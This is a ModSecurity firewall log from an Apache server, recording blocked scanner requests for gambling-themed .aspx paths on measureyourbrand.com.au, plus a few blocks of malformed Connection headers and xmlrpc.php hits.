[Wed Apr 08 06:02:07.358890 2026] [:error] [pid 47625:tid 47636] [client 65.108.78.33:10876] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adV-3yVuHyNWzZlE8PADFQAAAAI"]
[Wed Apr 08 06:02:09.988680 2026] [:error] [pid 47627:tid 47711] [client 65.108.78.33:10890] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adV-4XOljf1Quv_kDjmltAAAAIw"]
[Wed Apr 08 06:02:12.593458 2026] [:error] [pid 47732:tid 47742] [client 65.108.78.33:17446] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adV-5Im4N5QW9Mh7G11N0wAAAMg"]
[Wed Apr 08 06:02:15.148056 2026] [:error] [pid 16630:tid 16638] [client 65.108.78.33:17454] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adV-5yjfVAkPG-jgJEq0RgAAAQY"]
[Wed Apr 08 06:02:17.608164 2026] [:error] [pid 16630:tid 16635] [client 65.108.78.33:17466] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adV-6SjfVAkPG-jgJEq0UAAAAQM"]
[Wed Apr 08 06:02:20.294989 2026] [:error] [pid 16630:tid 16643] [client 65.108.78.33:17478] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adV-7CjfVAkPG-jgJEq0YQAAAQs"]
[Wed Apr 08 06:02:22.846250 2026] [:error] [pid 47627:tid 47706] [client 65.108.78.33:50702] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adV-7nOljf1Quv_kDjml3QAAAIc"]
[Wed Apr 08 06:02:25.519354 2026] [:error] [pid 47626:tid 47676] [client 65.108.78.33:50712] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adV-8ajWI8TWtHx2sdYKdAAAAEg"]
[Wed Apr 08 06:02:28.250171 2026] [:error] [pid 47625:tid 47647] [client 65.108.78.33:50722] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adV-9CVuHyNWzZlE8PADOQAAAA0"]
[Wed Apr 08 06:02:30.872317 2026] [:error] [pid 47627:tid 47702] [client 65.108.78.33:50734] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adV-9nOljf1Quv_kDjmmFwAAAIM"]
[Wed Apr 08 06:02:33.537260 2026] [:error] [pid 16630:tid 16654] [client 65.108.78.33:55106] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adV--SjfVAkPG-jgJEq1CQAAARY"]
[Wed Apr 08 06:02:36.160536 2026] [:error] [pid 47626:tid 47675] [client 65.108.78.33:55120] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adV-_KjWI8TWtHx2sdYKqQAAAEc"]
[Wed Apr 08 06:02:38.683049 2026] [:error] [pid 47626:tid 47672] [client 65.108.78.33:55136] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adV-_qjWI8TWtHx2sdYKsAAAAEQ"]
[Wed Apr 08 06:02:41.175784 2026] [:error] [pid 47627:tid 47707] [client 65.108.78.33:55148] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adV_AXOljf1Quv_kDjmmNQAAAIg"]
[Wed Apr 08 06:02:43.722986 2026] [:error] [pid 47732:tid 47747] [client 65.108.78.33:5856] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adV_A4m4N5QW9Mh7G11OSwAAAM0"]
[Wed Apr 08 06:02:46.333371 2026] [:error] [pid 47626:tid 47688] [client 65.108.78.33:5864] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adV_BqjWI8TWtHx2sdYKuQAAAFQ"]
[Wed Apr 08 06:02:48.929151 2026] [:error] [pid 47626:tid 47692] [client 65.108.78.33:5866] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adV_CKjWI8TWtHx2sdYKvAAAAFg"]
[Wed Apr 08 06:02:51.412692 2026] [:error] [pid 47732:tid 47757] [client 65.108.78.33:5878] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adV_C4m4N5QW9Mh7G11OeQAAANc"]
[Wed Apr 08 06:02:53.895126 2026] [:error] [pid 47627:tid 47716] [client 65.108.78.33:12812] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adV_DXOljf1Quv_kDjmmewAAAJE"]
[Wed Apr 08 06:02:56.458979 2026] [:error] [pid 47732:tid 47735] [client 65.108.78.33:12818] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adV_EIm4N5QW9Mh7G11OlAAAAME"]
[Wed Apr 08 06:03:27.241459 2026] [:error] [pid 47732:tid 47757] [client 65.108.78.33:39070] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adV_L4m4N5QW9Mh7G11PLwAAANc"]
[Wed Apr 08 06:03:29.685006 2026] [:error] [pid 16630:tid 16656] [client 65.108.78.33:39086] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adV_MSjfVAkPG-jgJEq1ygAAARg"]
[Wed Apr 08 06:03:32.301620 2026] [:error] [pid 47626:tid 47674] [client 65.108.78.33:39092] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adV_NKjWI8TWtHx2sdYLZAAAAEY"]
[Wed Apr 08 06:03:35.012126 2026] [:error] [pid 16630:tid 16634] [client 65.108.78.33:35892] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adV_NyjfVAkPG-jgJEq2BAAAAQI"]
[Wed Apr 08 06:03:37.611276 2026] [:error] [pid 16630:tid 16653] [client 65.108.78.33:35904] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adV_OSjfVAkPG-jgJEq2FgAAARU"]
[Wed Apr 08 06:03:40.088001 2026] [:error] [pid 47732:tid 47752] [client 65.108.78.33:35920] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adV_PIm4N5QW9Mh7G11PYgAAANI"]
[Wed Apr 08 06:03:42.731028 2026] [:error] [pid 16630:tid 16635] [client 65.108.78.33:16086] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adV_PijfVAkPG-jgJEq2VwAAAQM"]
[Wed Apr 08 06:03:45.308068 2026] [:error] [pid 47627:tid 47716] [client 65.108.78.33:16088] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adV_QXOljf1Quv_kDjmnKQAAAJE"]
[Wed Apr 08 06:03:47.734940 2026] [:error] [pid 47625:tid 47636] [client 65.108.78.33:16096] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adV_QyVuHyNWzZlE8PAD1wAAAAI"]
[Wed Apr 08 06:03:50.318185 2026] [:error] [pid 16630:tid 16636] [client 65.108.78.33:16100] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adV_RijfVAkPG-jgJEq2igAAAQQ"]
[Wed Apr 08 06:03:52.782516 2026] [:error] [pid 47732:tid 47736] [client 65.108.78.33:28444] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adV_SIm4N5QW9Mh7G11PrAAAAMI"]
[Wed Apr 08 06:03:55.305368 2026] [:error] [pid 47625:tid 47645] [client 65.108.78.33:28460] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adV_SyVuHyNWzZlE8PAD6QAAAAs"]
[Wed Apr 08 06:03:57.796573 2026] [:error] [pid 47626:tid 47680] [client 65.108.78.33:28468] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adV_TajWI8TWtHx2sdYLtwAAAEw"]
[Wed Apr 08 06:04:00.246407 2026] [:error] [pid 16630:tid 16649] [client 65.108.78.33:28474] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adV_UCjfVAkPG-jgJEq21gAAARE"]
[Wed Apr 08 06:04:02.901075 2026] [:error] [pid 16630:tid 16636] [client 65.108.78.33:22344] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adV_UijfVAkPG-jgJEq24gAAAQQ"]
[Wed Apr 08 06:04:05.362482 2026] [:error] [pid 16630:tid 16646] [client 65.108.78.33:22348] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adV_VSjfVAkPG-jgJEq28QAAAQ4"]
[Wed Apr 08 06:04:07.797311 2026] [:error] [pid 47625:tid 47655] [client 65.108.78.33:22354] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adV_VyVuHyNWzZlE8PAEBgAAABU"]
[Wed Apr 08 06:04:10.524157 2026] [:error] [pid 16630:tid 16650] [client 65.108.78.33:22358] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adV_WijfVAkPG-jgJEq3BwAAARI"]
[Wed Apr 08 06:04:13.139602 2026] [:error] [pid 47626:tid 47675] [client 65.108.78.33:9666] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adV_XajWI8TWtHx2sdYL7wAAAEc"]
[Wed Apr 08 06:04:15.594995 2026] [:error] [pid 47732:tid 47758] [client 65.108.78.33:9670] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adV_X4m4N5QW9Mh7G11QIwAAANg"]
[Wed Apr 08 06:04:17.991943 2026] [:error] [pid 47626:tid 47691] [client 65.108.78.33:9684] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adV_YajWI8TWtHx2sdYL9AAAAFc"]
[Wed Apr 08 06:04:20.541775 2026] [:error] [pid 47626:tid 47672] [client 65.108.78.33:9698] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adV_ZKjWI8TWtHx2sdYL_AAAAEQ"]
[Wed Apr 08 06:04:22.956507 2026] [:error] [pid 47732:tid 47754] [client 65.108.78.33:47218] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adV_Zom4N5QW9Mh7G11QVQAAANQ"]
[Wed Apr 08 06:39:09.178514 2026] [:error] [pid 47625:tid 47651] [client 43.157.153.236:51474] [client 43.157.153.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adWHjSVuHyNWzZlE8PANiwAAABE"]
[Wed Apr 08 08:32:18.504721 2026] [:error] [pid 16630:tid 16638] [client 78.137.218.133:3906] [client 78.137.218.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.137.218.133, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adWiEijfVAkPG-jgJEonVgAAAQY"]
[Wed Apr 08 09:25:32.549536 2026] [:error] [pid 16630:tid 16654] [client 103.168.67.159:2474] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adWujCjfVAkPG-jgJEpQ6gAAARY"]
[Wed Apr 08 09:25:33.273792 2026] [:error] [pid 47732:tid 47741] [client 103.168.67.159:2994] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adWujYm4N5QW9Mh7G1277gAAAMc"]
[Wed Apr 08 09:25:33.996762 2026] [:error] [pid 47625:tid 47638] [client 103.168.67.159:3468] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adWujSVuHyNWzZlE8PA22wAAAAQ"]
[Wed Apr 08 09:25:34.717013 2026] [:error] [pid 49984:tid 50012] [client 103.168.67.159:4126] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adWujuYY_Bz5lRHcJIE-awAAAVY"]
[Wed Apr 08 09:25:35.453533 2026] [:error] [pid 47627:tid 47707] [client 103.168.67.159:4628] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dashboard"] [unique_id "adWuj3Oljf1Quv_kDjn0tgAAAIg"]
[Wed Apr 08 09:25:36.196534 2026] [:error] [pid 47732:tid 47742] [client 103.168.67.159:5168] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dashboard"] [unique_id "adWukIm4N5QW9Mh7G128GgAAAMg"]
[Wed Apr 08 09:25:36.897290 2026] [:error] [pid 49984:tid 50003] [client 103.168.67.159:5758] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dashboard"] [unique_id "adWukOYY_Bz5lRHcJIE-iAAAAU0"]
[Wed Apr 08 09:25:37.614853 2026] [:error] [pid 47627:tid 47699] [client 103.168.67.159:6278] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dashboard"] [unique_id "adWukXOljf1Quv_kDjn01AAAAIA"]
[Wed Apr 08 11:39:07.569270 2026] [:error] [pid 47625:tid 47634] [client 170.106.84.136:58622] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adXN2yVuHyNWzZlE8PCxHgAAAAA"]
